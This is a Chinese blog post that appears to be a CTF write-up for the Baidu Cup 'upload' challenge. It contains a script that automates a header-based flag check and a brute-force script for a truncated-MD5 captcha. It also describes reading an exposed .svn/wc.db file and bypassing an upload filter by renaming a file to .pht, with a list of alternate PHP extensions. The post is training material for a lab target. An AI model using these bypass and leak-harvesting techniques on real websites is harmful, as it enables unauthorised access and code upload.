醉梦半醒的博客

第一届百度杯 upload

字数统计: 249阅读时长: 1 min
2018/09/23 Share


做了安恒月赛后深受打击,要做点题提高一下

观察respond包里面有个base64加密的flag

手速要快,肯定是要脚本了:

 

import requests,base64
url="http://d14acf28eaad4509867c8e946fb41af8f417e367a8d847ec.game.ichunqiu.com/"
a=requests.session()
r=a.get(url)
flag=base64.b64decode(r.headers['flag'])
flag1=str(flag).split(':')[1]
flag2=base64.b64decode(flag1)
payload={
    'ichunqiu':flag2
}
r1=a.post(url,data=payload)
print(r1.text)

返回一个path:

Path:3712901a08bb58557943ca31f3487b7d

 

打开后叫你输入username和password还有验证码

username在.svn/wc.db(svn泄露)

验证码:substr(md5(captcha), 0, 6)=f53542

脚本去跑

# 由于MD5模块在python3中被移除
# 在python3中使用hashlib模块进行md5操作

import hashlib

for i in range(99999999):
    i=str(i)
    # 创建md5对象
    hl = hashlib.md5()

    # Tips
    # 此处必须声明encode
    # 若写法为hl.update(str) 报错为: Unicode-objects must be encoded before hashing
    hl.update(i.encode(encoding='utf-8'))
    if((hl.hexdigest()[:6])=='4ddf15'):
        print(i)

 

password随便写

弹出一个图片上传的地址

上传一个图片,后缀改为pht,弹出flag

Tip:php的别名:php2, php3, php4, php5, phps, pht, phtm, phtml

CATALOG